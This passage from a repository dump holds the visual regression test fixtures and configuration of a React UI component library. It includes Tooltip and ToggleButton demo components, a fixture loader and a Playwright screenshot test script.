placeholder=\"long placeholder long placeholder\" />\n      <Input\n        style={{ width: 200 }}\n        multiline\n        defaultValue=\"long default value long default value\"\n      />\n    </div>\n  );\n}\n\nexport default Textarea;\n"
  },
  {
    "path": "test/regressions/fixtures/Textarea/TextareaAutosize.js",
    "content": "import * as React from 'react';\nimport Input from '@mui/material/Input';\n\nexport default function TextareaAutosize() {\n  const [value, setValue] = React.useState('');\n\n  const handleChange = (event) => {\n    setValue(event.target.value);\n  };\n\n  return (\n    <Input\n      style={{ width: 200 }}\n      multiline\n      minRows={4}\n      onChange={handleChange}\n      value={value}\n      slotProps={{\n        input: {\n          'data-testid': 'input',\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/ToggleButtonGroup/DifferentChildren.js",
    "content": "import * as React from 'react';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\nimport Stack from '@mui/material/Stack';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function DifferentChildren() {\n  const falsyCondition = 1 === 2;\n\n  return (\n    <Stack spacing={2}>\n      {/* With tooltip */}\n      <ToggleButtonGroup value=\"one\">\n        <Tooltip title=\"tooltip\">\n          <ToggleButton value=\"one\">One</ToggleButton>\n        </Tooltip>\n        <Tooltip title=\"tooltip\">\n          <span>\n            <ToggleButton value=\"two\" disabled>\n              Two\n            </ToggleButton>\n          </span>\n        </Tooltip>\n        <Tooltip title=\"tooltip\">\n          <span>\n            <ToggleButton value=\"three\" disabled>\n              Three\n            </ToggleButton>\n          </span>\n        </Tooltip>\n      </ToggleButtonGroup>\n\n      {/* Single button */}\n      <ToggleButtonGroup value=\"one\">\n        <ToggleButton value=\"one\">One</ToggleButton>\n      </ToggleButtonGroup>\n\n      {/* Conditional elements */}\n      <ToggleButtonGroup value=\"one\">\n        <ToggleButton value=\"one\">One</ToggleButton>\n        <ToggleButton value=\"two\">Two</ToggleButton>\n        {falsyCondition ? <ToggleButton value=\"three\">Three</ToggleButton> : undefined}\n      </ToggleButtonGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Tooltip/PositionedTooltips.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\n// Used /docs/data/material/components/tooltips/PositionedTooltips.js as inspiration.\nfunction PositionedTooltips() {\n  return (\n    <Box sx={{ width: 400, padding: '50px 70px' }}>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Tooltip open arrow title=\"Add\" placement=\"top-start\">\n          <Button>top-start</Button>\n        </Tooltip>\n        <Tooltip open arrow title=\"Add\" placement=\"top\">\n          <Button>top</Button>\n        </Tooltip>\n        <Tooltip open arrow title=\"Add\" placement=\"top-end\">\n          <Button>top-end</Button>\n        </Tooltip>\n      </Stack>\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-start' }}>\n          <Tooltip open arrow title=\"Add\" placement=\"left-start\">\n            <Button>left-start</Button>\n          </Tooltip>\n          <Tooltip open arrow title=\"Add\" placement=\"left\">\n            <Button>left</Button>\n          </Tooltip>\n          <Tooltip open arrow title=\"Add\" placement=\"left-end\">\n            <Button>left-end</Button>\n          </Tooltip>\n        </Stack>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-end' }}>\n          <Tooltip open arrow title=\"Add\" placement=\"right-start\">\n            <Button>right-start</Button>\n          </Tooltip>\n          <Tooltip open arrow title=\"Add\" placement=\"right\">\n            <Button>right</Button>\n          </Tooltip>\n          <Tooltip open arrow title=\"Add\" placement=\"right-end\">\n            <Button>right-end</Button>\n          </Tooltip>\n        </Stack>\n      </Box>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Tooltip open arrow title=\"Add\" placement=\"bottom-start\">\n          <Button>bottom-start</Button>\n        </Tooltip>\n        <Tooltip open arrow title=\"Add\" placement=\"bottom\">\n          <Button>bottom</Button>\n        </Tooltip>\n        <Tooltip open arrow title=\"Add\" placement=\"bottom-end\">\n          <Button>bottom-end</Button>\n        </Tooltip>\n      </Stack>\n    </Box>\n  );\n}\n\nexport default PositionedTooltips;\n"
  },
  {
    "path": "test/regressions/fixtures/Tooltip/PositionedTooltipsRtl.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { StyleSheetManager } from 'styled-components';\nimport { CacheProvider } from '@emotion/react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport createCache from '@emotion/cache';\n\n// Create rtl cache\nconst cacheRtl = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nconst theme = createTheme({ direction: 'rtl' });\n\nexport default function PositionedTooltipsRtl() {\n  return (\n    <StyleSheetManager stylisPlugins={[rtlPlugin]}>\n      <CacheProvider value={cacheRtl}>\n        <ThemeProvider theme={theme}>\n          <Box sx={{ width: 500, margin: 10 }} dir=\"rtl\">\n            <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n              <Tooltip title=\"Add\" arrow open placement=\"top-start\">\n                <Button>top-start</Button>\n              </Tooltip>\n              <Tooltip title=\"Add\" arrow open placement=\"top\">\n                <Button>top</Button>\n              </Tooltip>\n              <Tooltip title=\"Add\" arrow open placement=\"top-end\">\n                <Button>top-end</Button>\n              </Tooltip>\n            </Stack>\n            <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n              <Stack direction=\"column\" sx={{ alignItems: 'flex-start' }}>\n                <Tooltip title=\"Add\" arrow open placement=\"left-start\">\n                  <Button>left-start</Button>\n                </Tooltip>\n                <Tooltip title=\"Add\" arrow open placement=\"left\">\n                  <Button>left</Button>\n                </Tooltip>\n                <Tooltip title=\"Add\" arrow open placement=\"left-end\">\n                  <Button>left-end</Button>\n                </Tooltip>\n              </Stack>\n              <Stack direction=\"column\" sx={{ alignItems: 'flex-end' }}>\n                <Tooltip title=\"Add\" arrow open placement=\"right-start\">\n                  <Button>right-start</Button>\n                </Tooltip>\n                <Tooltip title=\"Add\" arrow open placement=\"right\">\n                  <Button>right</Button>\n                </Tooltip>\n                <Tooltip title=\"Add\" arrow open placement=\"right-end\">\n                  <Button>right-end</Button>\n                </Tooltip>\n              </Stack>\n            </Box>\n            <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n              <Tooltip title=\"Add\" arrow open placement=\"bottom-start\">\n                <Button>bottom-start</Button>\n              </Tooltip>\n              <Tooltip title=\"Add\" arrow open placement=\"bottom\">\n                <Button>bottom</Button>\n              </Tooltip>\n              <Tooltip title=\"Add\" arrow open placement=\"bottom-end\">\n                <Button>bottom-end</Button>\n              </Tooltip>\n            </Stack>\n          </Box>\n        </ThemeProvider>\n      </CacheProvider>\n    </StyleSheetManager>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/componentSelector/ComponentSelector.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\n\nconst Child = styled('div', {\n  target: 'child', // simulate a class name from @emotion/babel-plugin\n})({\n  color: 'blue',\n});\n\nconst Parent = styled('div')`\n  ${Child} {\n    color: red;\n  }\n`;\n\nconst Parent2 = styled('div')({\n  [Child]: {\n    color: 'red',\n  },\n});\n\nexport default function ComponentSelector() {\n  return (\n    <div>\n      <Child>I am blue.</Child>\n      <Parent>\n        <Child>I am red (literal).</Child>\n      </Parent>\n      <Parent2>\n        <Child>I am red (object).</Child>\n      </Parent2>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/index.html",
    "content": "<!doctype html>\n<html>\n  <head>\n    <title>Visual regression tests</title>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <style>\n      body {\n        background-color: white;\n      }\n    </style>\n  </head>\n\n  <body>\n    <div id=\"test-viewer\"></div>\n    <div id=\"react-root\"></div>\n    <script type=\"module\" src=\"/index.jsx\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "test/regressions/index.jsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport * as ReactDOMClient from 'react-dom/client';\nimport { BrowserRouter as Router, Routes, Route, Link, useNavigate } from 'react-router';\nimport webfontloader from 'webfontloader';\nimport { Globals } from '@react-spring/web';\nimport TestViewer from './TestViewer';\n\n// Skip charts annimation for screen shots\nGlobals.assign({\n  skipAnimation: true,\n});\n\nwindow.muiFixture = {\n  navigate: () => {\n    throw new Error(`muiFixture.navigate is not ready`);\n  },\n};\n\n// Get all the fixtures specifically written for preventing visual regressions.\nconst importRegressionFixtures = import.meta.glob(['./fixtures/**/*.(js|ts|tsx)'], {\n  import: 'default',\n  eager: true,\n});\n\nconst regressionFixtures = [];\n\nObject.keys(importRegressionFixtures).forEach((path) => {\n  const [suite, name] = path\n    .replace('./fixtures/', '')\n    .replace(/\\.\\w+$/, '')\n    .split('/');\n\n  // TODO: Why does webpack include a key for the absolute and relative path?\n  // We just want the relative path\n  if (path.startsWith('./')) {\n    regressionFixtures.push({\n      path,\n      suite: `regression-${suite}`,\n      name,\n      Component: importRegressionFixtures[path],\n    });\n  }\n}, []);\n\n// Also use some of the demos to avoid code duplication.\nconst importDemos = import.meta.glob(\n  [\n    'docs/data/**/[A-Z]*.js',\n    'docs/data/base/**/[A-Z]*/css/index.js',\n    'docs/data/base/**/[A-Z]*/tailwind/index.js',\n    'docs/data/base/**/[A-Z]*/system/index.js',\n    // ================== Exclusions ==================\n    '!docs/data/experiments',\n    '!docs/data/material/**/*NoSnap.*',\n    // Template\n    '!docs/data/material/getting-started/templates/blog/components',\n    '!docs/data/material/getting-started/templates/checkout/components',\n    '!docs/data/material/getting-started/templates/crud-dashboard/components',\n    '!docs/data/material/getting-started/templates/crud-dashboard/theme/customizations',\n    '!docs/data/material/getting-started/templates/crud-dashboard/hooks',\n    '!docs/data/material/getting-started/templates/crud-dashboard/context',\n    '!docs/data/material/getting-started/templates/dashboard/components',\n    '!docs/data/material/getting-started/templates/dashboard/internals/components',\n    '!docs/data/material/getting-started/templates/dashboard/theme/customizations',\n    '!docs/data/material/getting-started/templates/marketing-page/components',\n    '!docs/data/material/getting-started/templates/marketing-page/MarketingPage',\n    '!docs/data/material/getting-started/templates/shared-theme',\n    '!docs/data/material/getting-started/templates/sign-in/components',\n    '!docs/data/material/getting-started/templates/sign-in-side/components',\n    '!docs/data/material/getting-started/templates/sign-up/components',\n    // Marketing Page Theme Customizations\n    '!docs/data/material/components/alert/TransitionAlerts', // Needs interaction\n    '!docs/data/material/components/app-bar/BackToTop', // Needs interaction\n    '!docs/data/material/components/app-bar/ElevateAppBar', // Needs interaction\n    '!docs/data/material/components/app-bar/HideAppBar', // Needs interaction\n    '!docs/data/material/components/app-bar/MenuAppBar', // Redundant\n    '!docs/data/material/components/autocomplete/Asynchronous', // Redundant\n    '!docs/data/material/components/autocomplete/CheckboxesTags', // Redundant\n    '!docs/data/material/components/autocomplete/CountrySelect', // Redundant\n    '!docs/data/material/components/autocomplete/DisabledOptions', // Redundant\n    '!docs/data/material/components/autocomplete/Filter', // Redundant\n    '!docs/data/material/components/autocomplete/FreeSolo', // Redundant\n    '!docs/data/material/components/autocomplete/GoogleMaps', // Redundant\n    '!docs/data/material/components/autocomplete/Grouped', // Redundant\n    '!docs/data/material/components/autocomplete/Highlights', // Redundant\n    '!docs/data/material/components/autocomplete/Playground', // Redundant\n    '!docs/data/material/components/autocomplete/UseAutocomplete', // Redundant\n    '!docs/data/material/components/autocomplete/Virtualize', // Redundant\n    '!docs/data/material/components/backdrop/SimpleBackdrop', // Needs interaction\n    '!docs/data/material/components/badges/BadgeAlignment', // Redux isolation\n    '!docs/data/material/components/badges/BadgeVisibility', // Needs interaction\n    '!docs/data/material/components/bottom-navigation/FixedBottomNavigation', // Redundant\n    '!docs/data/material/components/breadcrumbs/ActiveLastBreadcrumb', // Redundant\n    '!docs/data/material/components/chips/ChipsPlayground', // Redux isolation\n    '!docs/data/material/components/click-away-listener', // Needs interaction\n    '!docs/data/material/components/container', // Can't see the impact\n    '!docs/data/material/components/dialogs', // Needs interaction\n    '!docs/data/material/components/drawers/SwipeableEdgeDrawer', // Needs interaction\n    '!docs/data/material/components/drawers/SwipeableTemporaryDrawer', // Needs interaction\n    '!docs/data/material/components/drawers/TemporaryDrawer', // Needs interaction\n    '!docs/data/material/components/floating-action-button/FloatingActionButtonZoom', // Needs interaction\n    '!docs/data/material/components/image-list', // Image don't load\n    '!docs/data/material/components/masonry/ImageMasonry', // Image don't load\n    '!docs/data/material/components/masonry/Sequential', // Flaky\n    '!docs/data/material/components/material-icons/SearchIcons',\n    '!docs/data/material/components/menubar/components', // Not demos\n    '!docs/data/material/components/menus', // Need interaction\n    '!docs/data/material/components/modal/BasicModal', // Needs interaction\n    '!docs/data/material/components/modal/KeepMountedModal', // Needs interaction\n    '!docs/data/material/components/modal/SpringModal', // Needs interaction\n    '!docs/data/material/components/modal/TransitionsModal', // Needs interaction\n    '!docs/data/material/components/no-ssr/FrameDeferring', // Needs interaction\n    '!docs/data/material/components/popover/AnchorPlayground', // Redux isolation\n    '!docs/data/material/components/popover/BasicPopover', // Needs interaction\n    '!docs/data/material/components/popover/PopoverPopupState', // Needs interaction\n    '!docs/data/material/components/popper/PopperPopupState', // Needs interaction\n    '!docs/data/material/components/popper/PositionedPopper', // Needs interaction\n    '!docs/data/material/components/popper/ScrollPlayground', // Redux isolation\n    '!docs/data/material/components/popper/SimplePopper', // Needs interaction\n    '!docs/data/material/components/popper/SpringPopper', // Needs interaction\n    '!docs/data/material/components/popper/TransitionsPopper', // Needs interaction\n    '!docs/data/material/components/popper/VirtualElementPopper', // Needs interaction\n    '!docs/data/material/components/progress', // Flaky\n    '!docs/data/material/components/selects/ControlledOpenSelect', // Needs interaction\n    '!docs/data/material/components/selects/DialogSelect', // Needs interaction\n    '!docs/data/material/components/selects/GroupedSelect', // Needs interaction\n    '!docs/data/material/components/skeleton/Animations', // Animation disabled\n    '!docs/data/material/components/skeleton/Facebook', // Flaky image loading\n    '!docs/data/material/components/skeleton/SkeletonChildren', // flaky image loading\n    '!docs/data/material/components/skeleton/YouTube', // Flaky image loading\n    '!docs/data/material/components/snackbars/ConsecutiveSnackbars', // Needs interaction\n    '!docs/data/material/components/snackbars/CustomizedSnackbars', // Redundant\n    '!docs/data/material/components/snackbars/DirectionSnackbar', // Needs interaction\n    '!docs/data/material/components/snackbars/FabIntegrationSnackbar', // Needs interaction\n    '!docs/data/material/components/snackbars/IntegrationNotistack', // Needs interaction\n    '!docs/data/material/components/snackbars/PositionedSnackbar', // Needs interaction\n    '!docs/data/material/components/snackbars/SimpleSnackbar', // Needs interaction\n    '!docs/data/material/components/snackbars/TransitionsSnackbar', // Needs interaction\n    '!docs/data/material/components/speed-dial', // Needs interaction\n    '!docs/data/material/components/stack/InteractiveStack', // Redundant\n    '!docs/data/material/components/steppers/HorizontalNonLinearStepper', // Redundant\n    '!docs/data/material/components/steppers/TextMobileStepper', // Flaky image loading\n    '!docs/data/material/components/tabs/AccessibleTabs1', // Need interaction\n    '!docs/data/material/components/tabs/AccessibleTabs2', // Need interaction\n    '!docs/data/material/components/textarea-autosize', // Superseded by a dedicated regression test\n    '!docs/data/material/components/tooltips', // Needs interaction\n    '!docs/data/material/components/transitions', // Needs interaction\n    '!docs/data/material/components/use-media-query', // Need to dynamically resize to test\n    '!docs/data/material/customization/breakpoints', // Need to dynamically resize to test\n    '!docs/data/material/customization/color', // Escape viewport\n    '!docs/data/material/customization/container-queries/ResizableDemo', // No public components\n    '!docs/data/material/customization/default-theme', // Redux isolation\n    '!docs/data/material/customization/density/DensityTool', // Redux isolation\n    '!docs/data/material/customization/right-to-left/RtlDemo',\n    '!docs/data/material/customization/transitions/TransitionHover', // Need interaction\n    '!docs/data/material/customization/typography/ResponsiveFontSizesChart',\n    '!docs/data/material/getting-started/supported-components/MaterialUIComponents', // No public components\n    '!docs/data/material/guides',\n    '!docs/data/base/getting-started/quickstart/BaseButtonTailwind', // CodeSandbox\n    '!docs/data/base/guides/working-with-tailwind-css/PlayerFinal', // No public components\n    '!docs/data/premium-themes',\n  ],\n  {\n    import: 'default',\n    eager: true,\n  },\n);\n\nconst demoFixtures = [];\nObject.keys(importDemos).forEach((path) => {\n  const [name, ...suiteArray] = path\n    .replace('../../docs/data/', '')\n    .replace('.js', '')\n    .split('/')\n    .reverse();\n  const suite = `docs-${suiteArray\n    .reverse()\n    .join('-')\n    .replace(/^material-/, '')}`;\n\n  demoFixtures.push({\n    path,\n    suite,\n    name,\n    Component: importDemos[path],\n  });\n}, []);\n\nfunction FixtureRenderer({ component: FixtureComponent, path }) {\n  React.useEffect(() => {\n    const viewerRoot = document.getElementById('test-viewer');\n    const testRoot = document.createElement('div');\n    viewerRoot.appendChild(testRoot);\n    const reactRoot = ReactDOMClient.createRoot(testRoot);\n    React.startTransition(() => {\n      reactRoot.render(\n        <TestViewer path={path} FixtureComponent={FixtureComponent}>\n          <FixtureComponent />\n        </TestViewer>,\n      );\n    });\n\n    return () => {\n      setTimeout(() => {\n        reactRoot.unmount();\n      }, 0);\n\n      viewerRoot.removeChild(testRoot);\n    };\n  }, [FixtureComponent, path]);\n\n  return null;\n}\n\nFixtureRenderer.propTypes = {\n  component: PropTypes.elementType,\n  path: PropTypes.string.isRequired,\n};\n\nfunction useHash() {\n  const subscribe = React.useCallback((callback) => {\n    window.addEventListener('hashchange', callback);\n    return () => {\n      window.removeEventListener('hashchange', callback);\n    };\n  }, []);\n  const getSnapshot = React.useCallback(() => window.location.hash, []);\n  const getServerSnapshot = React.useCallback(() => '', []);\n  return React.useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n}\n\nfunction computeIsDev(hash) {\n  if (hash === '#dev') {\n    return true;\n  }\n  if (hash === '#no-dev') {\n    return false;\n  }\n  return process.env.NODE_ENV !== 'production';\n}\n\nfunction App(props) {\n  const { fixtures } = props;\n\n  const hash = useHash();\n  const isDev = computeIsDev(hash);\n\n  // Using <link rel=\"stylesheet\" /> does not apply the google Roboto font in chromium headless/headfull.\n  const [fontState, setFontState] = React.useState('pending');\n  React.useEffect(() => {\n    webfontloader.load({\n      google: {\n        families: ['Roboto:300,400,500,700', 'Inter:300,400,500,600,700,800,900', 'Material+Icons'],\n      },\n      custom: {\n        families: ['Font Awesome 5 Free:n9'],\n        urls: ['https://use.fontawesome.com/releases/v5.14.0/css/all.css'],\n      },\n      timeout: 20000,\n      active: () => {\n        setFontState('active');\n      },\n      inactive: () => {\n        setFontState('inactive');\n      },\n    });\n  }, []);\n\n  function computePath(fixture) {\n    return `/${fixture.suite}/${fixture.name}`;\n  }\n\n  const navigate = useNavigate();\n  React.useEffect(() => {\n    window.muiFixture.navigate = navigate;\n  }, [navigate]);\n\n  return (\n    <React.Fragment>\n      {fontState === 'active' ? (\n        <Routes>\n          {fixtures.map((fixture) => {\n            const path = computePath(fixture);\n            const FixtureComponent = fixture.Component;\n            if (FixtureComponent === undefined) {\n              console.warn('Missing `Component` for ', fixture);\n              return null;\n            }\n\n            return (\n              <Route\n                key={path}\n                exact\n                path={path}\n                element={<FixtureRenderer component={FixtureComponent} path={path} />}\n              />\n            );\n          })}\n        </Routes>\n      ) : null}\n\n      {isDev ? (\n        <div>\n          <div data-webfontloader={fontState}>webfontloader: {fontState}</div>\n          <p>\n            Devtools can be enabled by appending <code>#dev</code> in the addressbar or disabled by\n            appending <code>#no-dev</code>.\n          </p>\n          <a href=\"#no-dev\">Hide devtools</a>\n          <details>\n            <summary id=\"my-test-summary\">nav for all tests</summary>\n\n            <nav id=\"tests\">\n              <ol>\n                {fixtures.map((fixture) => {\n                  const path = computePath(fixture);\n\n                  return (\n                    <li key={path}>\n                      <Link to={path}>{path}</Link>\n                    </li>\n                  );\n                })}\n              </ol>\n            </nav>\n          </details>\n        </div>\n      ) : null}\n    </React.Fragment>\n  );\n}\n\nApp.propTypes = {\n  fixtures: PropTypes.array,\n};\n\nconst container = document.getElementById('react-root');\nconst children = (\n  <Router>\n    <App fixtures={regressionFixtures.concat(demoFixtures)} />\n  </Router>\n);\nconst reactRoot = ReactDOMClient.createRoot(container);\nreactRoot.render(children);\n"
  },
  {
    "path": "test/regressions/index.test.js",
    "content": "import * as url from 'url';\nimport * as path from 'path';\nimport * as fs from 'node:fs/promises';\nimport { chromium } from '@playwright/test';\n\nconst currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\n\nasync function main() {\n  const baseUrl = 'http://localhost:5001';\n  const screenshotDir = path.resolve(currentDirectory, './screenshots/chrome');\n\n  const browser = await chromium.launch({\n    args: ['--font-render-hinting=none'],\n    // otherwise the loaded google Roboto font isn't applied\n    headless: false,\n  });\n  // reuse viewport from `vrtest`\n  // https://github.com/nathanmarks/vrtest/blob/1185b852a6c1813cedf5d81f6d6843d9a241c1ce/src/server/runner.js#L44\n  const page = await browser.newPage({\n    viewport: { width: 1000, height: 700 },\n    reducedMotion: 'reduce',\n  });\n\n  // Block images since they slow down tests (need download).\n  // They're also most likely decorative for documentation demos\n  await page.route(/./, async (route, request) => {\n    const type = await request.resourceType();\n    if (type === 'image') {\n      route.abort();\n    } else {\n      route.continue();\n    }\n  });\n\n  // Wait for all requests to finish.\n  // This should load shared resources such as fonts.\n  await page.goto(`${baseUrl}#dev`, { waitUntil: 'networkidle0' });\n  // If we still get flaky fonts after awaiting this try `document.fonts.ready`\n  await page.waitForSelector('[data-webfontloader=\"active\"]', { state: 'attached' });\n\n  // Simulate portrait mode for date pickers.\n  // See `useIsLandscape`.\n  await page.evaluate(() => {\n    Object.defineProperty(window.screen.orientation, 'angle', {\n      get() {\n        return 0;\n      },\n    });\n  });\n\n  let routes = await page.$$eval('#tests a', (links) => {\n    return links.map((link) => link.href);\n  });\n  routes = routes.map((route) => route.replace(baseUrl, ''));\n\n  /**\n   * @param {string} route\n   */\n  async function renderFixture(route) {\n    await page.evaluate((_route) => {\n      // Use client-side routing which is much faster than full page navigation via page.goto().\n      window.muiFixture.navigate(`${_route}#no-dev`);\n\n      // Playwright hides scrollbar when capturing a screenshot on an element or with fullPage: true.\n      // When the body has a scrollbar, this causes a brief layout shift. Disable the body overflow\n      // altogether to prevent this\n      window.document.body.style.overflow = 'hidden';\n    }, route);\n\n    // Move cursor offscreen to not trigger unwanted hover effects.\n    await page.mouse.move(0, 0);\n\n    const testcase = await page.waitForSelector(\n      `[data-testid=\"testcase\"][data-testpath=\"${route}\"]:not([aria-busy=\"true\"])`,\n    );\n\n    return testcase;\n  }\n\n  async function takeScreenshot({ testcase, route }) {\n    const screenshotPath = path.resolve(screenshotDir, `.${route}.png`);\n    await fs.mkdir(path.dirname(screenshotPath), { recursive: true });\n\n    const explicitScreenshotTarget = await page.$('[data-testid=\"screenshot-target\"]');\n    const screenshotTarget = explicitScreenshotTarget || testcase;\n\n    await screenshotTarget.screenshot({\n      path: screenshotPath,\n      type: 'png',\n      animations: 'disabled',\n    });\n  }\n\n  // prepare screenshots\n  await fs.rm(screenshotDir, { recursive: true, force: true });\n  await fs.mkdir(screenshotDir, { recursive: true });\n\n  describe('visual regressions', () => {\n    beforeEach(async () => {\n      await page.evaluate(() => {\n        localStorage.clear();\n      });\n    });\n\n    afterAll(async () => {\n      await browser.close();\n    });\n\n    routes.forEach((route) => {\n      it(`creates screenshots of ${route}`, async function test() {\n        // With the playwright inspector we might want to call `page.pause` which would lead to a timeout.\n        if (process.env.PWDEBUG) {\n          this?.timeout?.(0);\n        }\n\n        const testcase = await renderFixture(route);\n\n        switch (route) {\n          case '/docs-components-table/ReactVirtualizedTable': {\n            await page.waitForSelector('[data-index=\"1\"]');\n            break;\n          }\n          default:\n            break;\n        }\n\n        await takeScreenshot({ testcase, route });\n      });\n    });\n\n    describe('Rating', () => {\n      it('should handle focus-visible correctly', async () => {\n        const testcase = await renderFixture('/regression-Rating/FocusVisibleRating');\n        await page.keyboard.press('Tab');\n        await takeScreenshot({ testcase, route: '/regression-Rating/FocusVisibleRating2' });\n        await page.keyboard.press('ArrowLeft');\n        await takeScreenshot({ testcase, route: '/regression-Rating/FocusVisibleRating3' });\n      });\n\n      it('should handle focus-visible with precise ratings correctly', async () => {\n        const testcase = await renderFixture('/regression-Rating/PreciseFocusVisibleRating');\n        await page.keyboard.press('Tab');\n        await takeScreenshot({ testcase, route: '/regression-Rating/PreciseFocusVisibleRating2' });\n        await page.keyboard.press('ArrowRight');\n        await takeScreenshot({ testcase, route: '/regression-Rating/PreciseFocusVisibleRating3' });\n      });\n    });\n\n    describe('Autocomplete', () => {\n      it('should not close immediately when textbox expands', async () => {\n        const testcase = await renderFixture(\n          '/regression-Autocomplete/TextboxExpandsOnListboxOpen',\n        );\n        await page.getByRole('combobox').click();\n        await page.waitForTimeout(10);\n        await takeScreenshot({\n          testcase,\n          route: '/regression-Autocomplete/TextboxExpandsOnListboxOpen2',\n        });\n      });\n\n      it('should style virtualized listbox correctly', async () => {\n        const testcase = await renderFixture('/regression-Autocomplete/Virtualize');\n        await page.getByRole('combobox').click();\n        await takeScreenshot({ testcase, route: '/regression-Autocomplete/Virtualize2' });\n        await page.hover('[role=\"option\"]');\n        await takeScreenshot({ testcase, route: '/regression-Autocomplete/Virtualize3' });\n        await page.click('[role=\"option\"]');\n        await takeScreenshot({ testcase, route: '/regression-Autocomplete/Virtualize4' });\n      });\n    });\n\n    describe('TextField', () => {\n      it('should render standard variant correctly in forced-colors mode', async () => {\n        await page.emulateMedia({ forcedColors: 'active' });\n        try {\n          const testcase = await renderFixture('/regression-TextField/StandardTextField');\n          await takeScreenshot({\n            testcase,\n            route: '/regression-TextField/StandardTextFieldForcedColors',\n          });\n        } finally {\n          await page.emulateMedia({ forcedColors: 'none' });\n        }\n      });\n    });\n\n    describe('Textarea', () => {\n      it('should keep input caret position at the end when adding a newline', async () => {\n        await renderFixture('/regression-Textarea/TextareaAutosize');\n        await page.getByTestId('input').focus();\n\n        const textWithEndline = `abc def abc def abc def\\n`;\n        await page.evaluate((text) => {\n          navigator.clipboard.writeText(text);\n        }, textWithEndline);\n\n        const pasteCommand = process.platform === 'darwin' ? 'Meta+V' : 'Control+V';\n\n        await page.keyboard.press(pasteCommand);\n        await page.keyboard.press(pasteCommand);\n        await page.keyboard.press(pasteCommand);\n\n        await page.evaluate(() => {\n          const textarea = document.querySelector('textarea');\n          if (textarea.selectionStart !== textarea.value.length) {\n            throw new Error('The caret is not at the end of the textarea');\n          }\n        });\n      });\n    });\n  });\n}\n\nawait main();\n"
  },
  {
    "path": "test/regressions/manual/README.md",
    "content": "# manual visual regression tests\n\nThese are expensive tests that should only be consulted if you suspect that something changed.\nMove the test you want to check inside a temporary folder in `../test` and run the visual regression test suite to get a screenshot.\n"
  },
  {
    "path": "test/regressions/manual/icons/AllIcons.js",
    "content": "import * as React from 'react';\nimport * as icons from '@mui/icons-material';\n\nexport default function AllIcons() {\n  return (\n    <div style={{ display: 'flex', flexWrap: 'wrap' }}>\n      {Object.entries(icons).map(([name, Component]) => {\n        return <Component key={name} style={{ fontSize: '2.5rem' }} />;\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/tsconfig.app.json",
    "content": "{\n  \"compilerOptions\": {\n    \"tsBuildInfoFile\": \"../node_modules/.tmp/regressions/tsconfig.app.tsbuildinfo\",\n    \"target\": \"ES2020\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"noUncheckedSideEffectImports\": true\n  },\n  \"include\": [\"**/*.js\", \"**/*.jsx\", \"**/*.ts\", \"**/*.tsx\", \"**/*.d.ts\", \"vite.config.mts\"],\n  \"exclude\": [\"vitest.config.ts\"]\n}\n"
  },
  {
    "path": "test/regressions/tsconfig.json",
    "content": "{\n  \"files\": [],\n  \"references\": [{ \"path\": \"./tsconfig.app.json\" }, { \"path\": \"./tsconfig.node.json\" }]\n}\n"
  },
  {
    "path": "test/regressions/tsconfig.node.json",
    "content": "{\n  \"compilerOptions\": {\n    \"tsBuildInfoFile\": \"../node_modules/.tmp/regressions/tsconfig.node.tsbuildinfo\",\n    \"target\": \"ES2022\",\n    \"lib\": [\"ES2023\"],\n    \"module\": \"nodenext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"nodenext\",\n    \"allowImportingTsExtensions\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"noUncheckedSideEffectImports\": true\n  },\n  \"include\": [\"vite.config.mts\"]\n}\n"
  },
  {
    "path": "test/regressions/vite.config.mts",
